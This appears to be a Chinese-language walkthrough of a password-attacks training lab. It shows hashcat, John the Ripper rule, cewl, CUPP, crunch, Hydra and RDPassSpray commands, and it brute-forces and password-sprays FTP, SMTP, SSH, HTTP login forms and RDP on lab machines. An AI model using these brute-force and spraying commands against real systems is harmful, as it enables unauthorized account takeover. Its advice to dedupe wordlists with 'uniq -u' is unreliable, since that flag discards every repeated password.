Red Team Password Attacks
密碼攻擊
密碼攻擊技術
密碼破解是一種用於從加密或雜湊資料到明文資料發現密碼的技術。攻擊者可能會從受感染的電腦取得加密或雜湊的密碼,或透過網路傳輸資料來擷取它們。一旦獲得密碼,攻擊者就可以利用密碼攻擊技術,使用各種工具破解這些雜湊密碼。
- 密碼猜測
密碼猜測是一種針對在線協定和服務的攻擊方法。它通常涉及到向網站或服務發送多次登入請求,每次請求嘗試不同的密碼組合。
耗時性:這種方法通常是耗時的,因為攻擊者需要反覆嘗試直到找到正確的密碼。
可檢測性:由於每次嘗試都需要發送新的請求,這種攻擊容易被系統偵測到。系統可以通過分析來自同一來源的頻繁登入嘗試來識別攻擊。
對策:為防止密碼猜測,許多系統會實施帳戶鎖定政策或延遲回應策略,當檢測到多次失敗的登入嘗試時暫時鎖定帳戶或增加回應時間。 - 密碼破解
密碼破解則是在本地或由攻擊者控制的系統上執行的一種技術。通常涉及到使用先進的計算技術和算法在沒有在線交互的情況下嘗試破解密碼。
資源密集:這種方法可能需要大量的計算資源,尤其是當使用如GPU加速的密碼破解軟件時。
離線執行:與密碼猜測不同,密碼破解通常在攻擊者的控制環境中離線進行,這意味著它不依賴於對目標系統的在線請求,減少了被偵測的風險。
使用場景:當攻擊者獲得了密碼的哈希值(例如通過數據泄漏或系統入侵)時,他們可能會使用密碼破解技術來嘗試恢復原始的明文密碼。。
密碼分析 1 -(預設、弱、洩漏、組合和用戶名單字列表)
默認預設密碼
參考網站
弱密码
參考網站
洩漏密碼
參考網址
整理密碼列表
合併密碼列表
1 | cat file1.txt file2.txt file3.txt > combined_list.txt |
移除重複的密碼
1 | sort combined_list.txt | uniq -u > cleaned_combined_list.txt |
sort combined_list.txt:这个命令将 combined_list.txt 文件中的所有行进行排序。按字母或数字顺序对文件的行进行排序。排序是去除重复内容的预处理步骤,因为 uniq 命令需要在已排序的输入上运行才能正确地检测和删除重复行。
uniq -u:uniq 命令用于从输入中删除重复的连续行。-u 选项指令 uniq 只输出那些未重复的行,也就是说,它会删除所有出现多次的行,只保留独一无二的行。如果不使用 -u 选项,uniq 默认只是合并重复的连续行为一行,并不移除它们。
定製字典
定制密码列表是提高找到有效凭证机会的最佳方式之一。我们可以从目标网站创建定制的密码列表。通常,一家公司的网站包含了关于公司及其员工的宝贵信息,包括电子邮件和员工姓名。此外,网站可能包含与公司所提供的产品和服务相关的特定关键词,这些关键词可能被员工用于其密码中!
工具:cewl
1 | cewl -w list.txt -d 5 -m 5 http://thm.labs |
-w 选项将内容写入文件。在这种情况下,文件名为 list.txt。
-m 5 收集5个字符或更多的字符串(单词)
-d 5 是网页爬取/蜘蛛(spidering)的深度级别(默认为2)
http://thm.labs 是将要使用的URL
用戶名字典
工具:username_generator下載網址
範例
查看工具參數說明
1 | python3 username_generator.py -h |
將要輸入的名字放入字典中
1 | echo "John Smith" > users.lst |
密碼分析 2 -(鍵空間技術和 CUPP)
鍵空间技術
簡介
键空间技术是在密码破解中使用的一种方法,它涉及到生成所有可能的密码组合来覆盖特定的字符集。这种技术常用于创建词表或进行暴力破解,特别是当未知密码的确切构成时。使用键空间技术可以确保尝试了所有可能的组合,从而最大化破解密码的机会。
键空间技术的工作原理:
定义字符集:首先确定密码可能包含的字符,例如小写字母、大写字母、数字和特殊符号。
设置长度范围:确定密码的最小和最大长度。例如,可能知道密码至少有6个字符,最多有12个字符。
生成组合:使用所选字符集和长度范围生成所有可能的密码组合。
鍵空間技術優缺點
使用键空间技术的优点:
全面性:这种方法确保了尝试每一种可能的组合,不遗漏任何潜在的密码。
灵活性:可以根据已知信息调整字符集和长度,如排除不可能的字符或设置更具体的长度范围。
缺点:
资源消耗:生成大量组合需要大量计算资源,特别是当字符集大和密码长度长时。
时间消耗:尝试所有可能的组合可能需要非常长的时间,尤其是对于复杂的密码。
鍵空间技術應用(crunch)
查看可使用參數
1 | crunch -h |
基礎用法
1 | crunch 8 8 0123456789abcdefABCDEF -o crunch.txt |
最小長度:8
最大長度:8
“0123456789abcdefABCDEF”為組成元素
-o crunch.txt:儲存到crunch.txt
crunch 還允許我們使用 -t 選項指定字符集,以組合我們選擇的單詞
1 | crunch 5 5 -t a@,:^ |
- @ : 小寫字母
- , : 大寫字母
- % : 數字字符
- ^ : 包括空格在內的特殊字符

CUPP
簡介
CUPP(Common User Passwords Profiler)是一款用 Python 編寫的自動化和互動式工具,用於創建自定義詞表。
網址
示範
查詢參數
1 | python3 cupp.py -h |
啟動對話模式
如果關於目標問題你沒有答案,按Enter鍵來跳過
1 | python3 cupp.py -i |
1337/leet模式,可以將字母 a, i, e, t, o, s, g, z 替換為數字。例如,將 a 替換為 4 或將 i 替換為 1。
使用cupp預設詞表
1 | python3 cupp.py -l |
選擇主題
使用 -a 選項從 Alecto 數據庫提供默認的用戶名和密碼
1 | python3 cupp.py -a |
Alecto數據庫是CUPP一個包含眾多常見或預設使用者名稱和密碼的數據庫。
小試身手

離線攻擊 -(字典和暴力破解)
字典攻擊
簡介
字典攻擊是一種通過使用常見的單詞或短語來猜測密碼的技術。字典攻擊完全依賴於事先收集好的字典,這些字典是之前生成或找到的。
示範(字典攻擊hash-identifier&hashcat)
假設我們獲得了以下哈希 f806fc5a2a0d5ba2471600758452799c,並希望通過字典攻擊來破解它。首先,我們至少需要知道以下信息:
- 這是什麼類型的哈希?
- 我們將使用什麼單詞列表?或者我們可以使用什麼類型的攻擊模式?
hash-identifier
要識別哈希的類型,我們可以使用像 hashid 或 hash-identifier 這樣的工具。對於這個例子,hash-identifier 認為可能的哈希方法是 MD5。
hashcat
hashcat是一個用於破解哈希值的強大工具,可以進行各種類型的攻擊,包括字典攻擊、暴力破解和組合攻擊等,破解哈希所需的時間將取決於你使用的硬件(CPU 和/或 GPU)
查看有哪些CPU和GPU
1 | hashcat -I |
開始破解
1 | hashcat -d 1 -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt |
-d 1 選擇id 1的CPU/GPU
-a 0 設置攻擊模式為字典攻擊。
-m 0 設置用於破解 MD5 哈希的哈希模式;對於其他類型的哈希,運行 hashcat -h 查看支持的哈希列表。
f806fc5a2a0d5ba2471600758452799c 這個選項可以是單個哈希,就像我們的例子一樣,也可以是包含一個哈希或多個哈希的文件。
/usr/share/wordlists/rockyou.txt 是我們攻擊所使用的字典文件。
運行 –show顯示已有被破過的哈希值
1 | hashcat -a 0 -m 0 F806FC5A2A0D5BA2471600758452799C /usr/share/wordlists/rockyou.txt --show |
暴力破解攻擊
簡介
暴力破解是攻擊者常用的一種攻擊手段,用於未經授權地訪問個人帳戶。這種方法通過發送標準密碼組合來猜測受害者的密碼。字典攻擊與暴力破解攻擊的主要區別在於,字典攻擊使用包含所有可能密碼的詞表。相比之下,暴力破解攻擊旨在嘗試字符或字符的所有組合。
暴力破解攻擊(hashcat)
查看可使用的參數
1 | hashcat --help |
- ? | Charset
- l | abcdefghijklmnopqrstuvwxyz
- u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
- d | 0123456789
- h | 0123456789abcdef
- H | 0123456789ABCDEF
- s | !”#$%&’()*+,-./:;<=>?@[\]^_`{|}~
- a | ?l?u?d?s
- b | 0x00 - 0xff
列出所選的組合
1 | hashcat -a 3 ?d?d?d?d --stdout |
- -a 3 設定攻擊模式為暴力破解攻擊
- ?d?d?d?d 從 0000 開始到 9999 結束的四位數字
- –stdout 將結果打印到終端
示範(暴力攻擊hashcat)
破解以下 MD5 哈希值:05A5CF06982BA7892ED2A6D38FE832D6,一個四位數的 PIN 碼。
1 | hashcat -d 1 -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d |

小試身手

離線攻擊 -(基於規則的)
簡介
基於規則的攻擊也被稱為混合攻擊。基於規則的攻擊假設攻擊者對密碼政策有所了解。規則被應用來在給定的密碼政策指南範圍內創建密碼,理論上應該只生成有效的密碼。使用現有的詞表在生成符合政策的密碼時可能很有用 — 例如,對密碼進行操作或「變形」,比如將 ‘password’ 變形為 ‘p@ssword’、’Pa$$word’、’Passw0rd’
John the ripper混合攻擊
通常,John the Ripper 有一個包含規則集的配置文件,這個文件可能位於 /etc/john/john.conf 或 /opt/john/john.conf。你可以讀取 /etc/john/john.conf,並查找 List.Rules 來查看所有可用的規則
1 | cat /etc/john/john.conf|grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF |

使用規則
1 | john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l |
- –wordlist= 用來指定詞表或字典文件。
- –rules 用來指定要使用的規則或多個規則。
- –stdout 用來將輸出打印到終端。
- wc -l 用來計算 John 生成了多少行
原本179個,使用規則後增加到13318個

KoreLogic
KoreLogic 是一種用於密碼破解的規則集,它利用多種內置的和自定義的規則來創建複雜的密碼列表。這可以幫助測試和破解加密的密碼。
規則集內容網址
示範
1 | john --wordlist=single-password-list.txt --rules=KoreLogic --stdout |

自定義規則
John the Ripper 提供了很多功能。例如,我們可以構建自己的規則,在 John 正在破解哈希時實時使用,或者使用該規則來構建自定義詞表!
編輯john.conf,將自定義規則加入
1 | sudo vim /etc/john/john.conf |
添加規則(例如):
1 | [List.Rules:THM-Password-Attacks] |
[List.Rules:THM-Password-Attacks] 指定規則名稱為 THM-Password-Attacks。
Az 代表原始詞表/字典中的一個單詞
“[0-9]” 在單詞末尾追加一個數字(從 0 到 9)。若要添加兩個數字,可以添加 “[0-9][0-9]”,依此類推。
^[!@#$] 在每個單詞的開始處添加一個特殊字符。^ 表示行/單詞的開始。注意,將 ^ 改為 $ 將會在行/單詞的結尾處追加特殊字符。
John 命令中使用 –rules 選項來包含我們創建的規則名稱。我們還需要在終端顯示結果。我們可以通過使用 –stdout 來實現
1 | john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout |

小試身手

- John the Ripper 的規則語法中,^[!@] 用於表示在每個單詞的開始處添加指定的符號。
- AZ為單字
部署虛擬機
開啟受害虛擬機
在攻擊機上生成關於此機器的密碼,根據提示密碼是關於https://clinic.thmredteam.com/ 網頁上的內容
1 | cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/ |
生成使用者字典
1 | python3 cupp.py -a |
線上密碼攻擊
Hydra破解FTP
FTP簡介
FTP(File Transfer Protocol,文件傳輸協議)是一種用於在網絡上的計算機之間傳輸文件的標準網絡協議。它允許用戶和伺服器之間進行文件共享、上傳和下載。
FTP 的主要特點包括:
- 用戶認證:FTP 通常需要用戶登入,使用用戶名和密碼進行認證,但也可以配置為允許匿名訪問。
兩種模式:
- 主動模式:服務器嘗試連接到客戶端指定的任意端口。
- 被動模式:客戶端連接到服務器指定的端口,更適合客戶端位於防火牆後的情況。
hydra破解FTP語法
1 | hydra -l ftp -P passlist.txt ftp://10.10.x.x |
-l ftp 我們正在指定一個單一的用戶名,使用 -L 指定用戶名詞表
-P 路徑 指定詞表的完整路徑,使用 -p 可以指定單一密碼。
ftp://10.10.x.x 協議和目標的 IP 地址或完全合格的域名(FDQN)。
有時候你不需要進行暴力破解,可以先嘗試默認的憑證。嘗試攻擊附加虛擬機上的 FTP 服務器
Hydra破解SMTP伺服器
SMTP簡介
SMTP(Simple Mail Transfer Protocol,簡單郵件傳輸協議)是一種用於發送和轉發電子郵件的互聯網標準協議。
- 電子郵件客戶端到伺服器:SMTP 用於管理從郵件客戶端(如 Outlook、Apple Mail 等)發送到郵件伺服器的郵件。
- 伺服器到伺服器:在電子郵件的傳輸過程中,SMTP 負責處理從發送方郵件伺服器到接收方郵件伺服器的郵件轉發。
- 發送大量電子郵件:企業和營銷活動常常通過 SMTP 伺服器發送大量推廣和通知郵件。
Hydra破解SMTP伺服器語法
1 | hydra -l [email protected] -P /path/to/wordlist.txt smtp://10.10.x.x -v |
-v 選項代表「詳細模式」(verbose mode)。這意味著當命令執行時,Hydra 會顯示更詳細的輸出信息
Hydra破解SSH語法
SSH簡介
SSH(Secure Shell)是一種網絡協議,用於在不安全的網絡中安全地進行遠程登錄和其他網絡服務。SSH 提供了一個加密的通道,允許用戶安全地與遠程機器交換數據。這個協議主要用於遠程控制系統和管理服務器,同時也被用於在任何不安全的網絡中傳輸機密資料。
- 加密連接:SSH 通過各種加密技術,如公鑰加密和對稱加密,來保護通過網絡傳輸的數據免遭竊聽和篡改。
- 用戶身份驗證:SSH 支持多種身份驗證機制,包括密碼、公鑰和基於主機的身份驗證。
- 數據完整性:SSH 使用消息認證碼(MAC)來確保數據在傳輸過程中未被篡改。
- 端口轉發:SSH 允許端口轉發,通過這種方式,SSH 用戶可以安全地將網絡服務連接到遠程機器,或從遠程機器連接回本地機器。
- SFTP:SSH 文件傳輸協議(SFTP)是一種安全的文件傳輸協議,通過 SSH 通道提供文件訪問、文件傳輸和文件管理功能
Hydra破解SSH
1 | hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v |
Hydra破解HTTP登陸頁面
破解前置流程
在破解前,首先你需要了解你正在破解的內容。
- 指定HTTP請求的類型,無論是 GET 還是 POST。
例如查看 Hydra 的選項http-get-form:
1
hydra http-get-form -U
Hydra 的選項http-get-form有以下語法:
:
<url>:
這是表單提交的 URL。它是攻擊目標表單的路徑,比如 http://example.com/login.
<form parameters>:
這部分定義了表單中需要填寫的參數。格式通常為 username=^USER^&password=^PASS^,其中 ^USER^ 和 ^PASS^ 是由 Hydra 替換的佔位符,分別代表用戶名和密碼的位置。
<condition string>:
這是用來判斷響應是否為成功登錄的條件。例如,如果登錄失敗頁面包含“錯誤”的文字,則條件字符串可能是 F=錯誤;如果登錄成功,頁面可能會重定向或顯示某些特定文字,如 S=歡迎.
[:<optional>]:
這是可選參數,可以根據需要添加。例如,指定使用的 HTTP 方法(GET 或 POST),或額外的 HTTP 標頭,或者對某些特定表單動作的特殊處理。
[:<optional>]:
第二個可選字段,可以用於提供更多的自定義選項,如 cookie 支持或其他自定義需求。
我們需要分析我們需要發送的 HTTP 請求,這可以通過使用瀏覽器的開發者工具或使用 Web 代理,如 Burp Suite 來完成。
Hydra破解HTTP登陸頁面基本語法
1 | hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f |
-l admin 我們指定了一個單一的用戶名,使用 -L 指定用戶名詞表。
-P 路徑 指定詞表的完整路徑,使用 -p 可以指定單一密碼。
10.10.x.x 目標的 IP 地址或完全合格域名(要包含http://或https://)。
http-get-form HTTP 請求的類型,可以是 http-get-form 或 http-post-form。
login-get/index.php 目標 Web 伺服器上的登錄頁面路徑。
username=^USER^&password=^PASS^ 要暴力破解的參數,我們注入 ^USER^ 來暴力破解用戶名,並使用 ^PASS^ 從指定的詞典中破解密碼。
指定「失敗」條件 F= 或成功條件 S=。
-f 在找到有效的用戶名和密碼後停止暴力破解攻擊。
其他在線密碼破解工具
- Medusa
- Ncrack
- others!
小試身手

第一題
利用ftp匿名登陸
用戶名:anonymous
密碼:直接按ENTER
尋找檔案,並下載
1 | ftp 10.10.209.239 |
回主機查看flag.txt
第二題
用cewl從網站找出建立密碼字表
1 | cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/ |
利用John the ripper將密碼依規則轉換
編寫規則
1 | sudo vim /opt/john/john.conf |
加入規則,並儲存
1 | Az"[0-9][0-9]"^[!@] |
用規則加原本字典產生新的字典
1 | john --wordlist=clinic.lst --rules=tryhackme --stdout >clinicN.lst |
去除重複項
1 | sort clinicN.lst |uniq -u>clinicN1.lst |
用新產生的字典進行攻擊
1 | hydra -l [email protected] -P clinicN1.lst |
第三題

檢查帳號密碼是用什麼請求的
根據上圖很明顯是用get請求
用Burp Suite攔截請求查看
上圖使用者名稱在封包傳輸key是username,密碼在封包傳輸key是password
開始破解
1 | hydra -l phillips -P clinicN.lst 10.10.53.138 http-get-form "/login-get:username=^USER^&password=^PASS^:F=Login failed!" -f |
第四題
檢查帳號密碼是用什麼請求的
用Burp Suite攔截請求查看
根據上圖很明顯是用post請求
上圖使用者名稱在封包傳輸key是username,密碼在封包傳輸key是password
製作規則字典
1 | john --wordlist=clinic.lst --rules=Single-Extra --stdout>clinicNN.lst |
開始破解
1 | hydra -l burgess -P clinicNN.lst 10.10.219.153 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f |

密碼噴射攻擊
簡介
密碼噴灑是一種有效的技術,用於識別有效的憑證。這種技術可以用於各種線上服務和身份驗證系統,如 SSH、SMB、RDP、SMTP、Outlook Web Application 等。暴力破解攻擊針對特定用戶名嘗試許多弱和可預測的密碼。而密碼噴灑攻擊則針對許多用戶名使用一個常見的弱密碼,這有助於避免帳戶鎖定政策。
SSH密碼噴射攻擊
1 | hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10 |
RDP密碼噴射攻擊
假設我們在端口3026上發現了一個暴露的RDP服務。我們可以使用RDPassSpray之類的工具對RDP進行密碼噴灑攻擊。
RDPassSpray
下載工具
1 | git clone https://github.com/xFreed0m/RDPassSpray.git |
查看使用方法及可用參數
1 | python3 RDPassSpray.py -h |
基礎用法
1 | python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026 |
RDP密碼噴射攻擊
1 | python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt |
如果我們處於 Active Directory 環境中,我們可以使用 -d 選項來指定域名。
-T 選項後跟包含 RDP 伺服器地址的文件路徑。這個文件應該列出了所有將被密碼噴灑攻擊的 RDP 伺服器的 IP 地址或主機名。
其他工具
Outlook 网页访问(OWA)门户
- SprayingToolkit (atomizer.py):一种用于进行密码喷射攻击的工具,特别针对如 OWA 这样的Web访问门户。
- MailSniper:一种专门用于针对 Microsoft Exchange 邮箱进行攻击的 PowerShell 脚本。
SMB(服务器消息块)
- Metasploit (auxiliary/scanner/smb/smb_login):Metasploit 框架中的一个模块,用于对 SMB 服务进行密码喷射攻击。
小試身手
創建密碼表
1 | for year in {2020..2021}; do for char in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')'; do echo Fall${year}${char}; done; done >RPDPASS.txt |
- for year in {2020..2021}; do:這是一個迴圈,會遍歷 2020 和 2021 這兩個年份。每次迴圈中,year 變量會被設置為這些年份之一。
- for char in ‘!’ ‘@’ ‘#’ ‘$’ ‘%’ ‘^’ ‘&’ ‘*’ ‘(‘ ‘)’ ; do:這是另一個嵌套的迴圈,遍歷一組特殊字符。每次迴圈中,char 變量會被設置為這些特殊字符之一。
- echo Fall${year}${char};:這行命令會輸出一個字符串,開始於 “Fall”,然後是當前的年份(由外層迴圈的 year 變量提供),最後是當前的特殊字符(由內層迴圈的 char 變量提供)。
- done; done >RPDPASS.txt:這裡的 done; done 表示兩個迴圈的結束。>RPDPASS.txt 將所有的 echo 輸出重定向到名為 RPDPASS.txt 的文件中,如果文件已存在則覆蓋它。
開始破解
1
hydra -L RDP.txt -P RPDPASS.txt ssh://10.10.235.158
用ssh連接
1
2ssh [email protected]
Fall2021@找出檔案並查看
1
2cd /etc/
cat flag














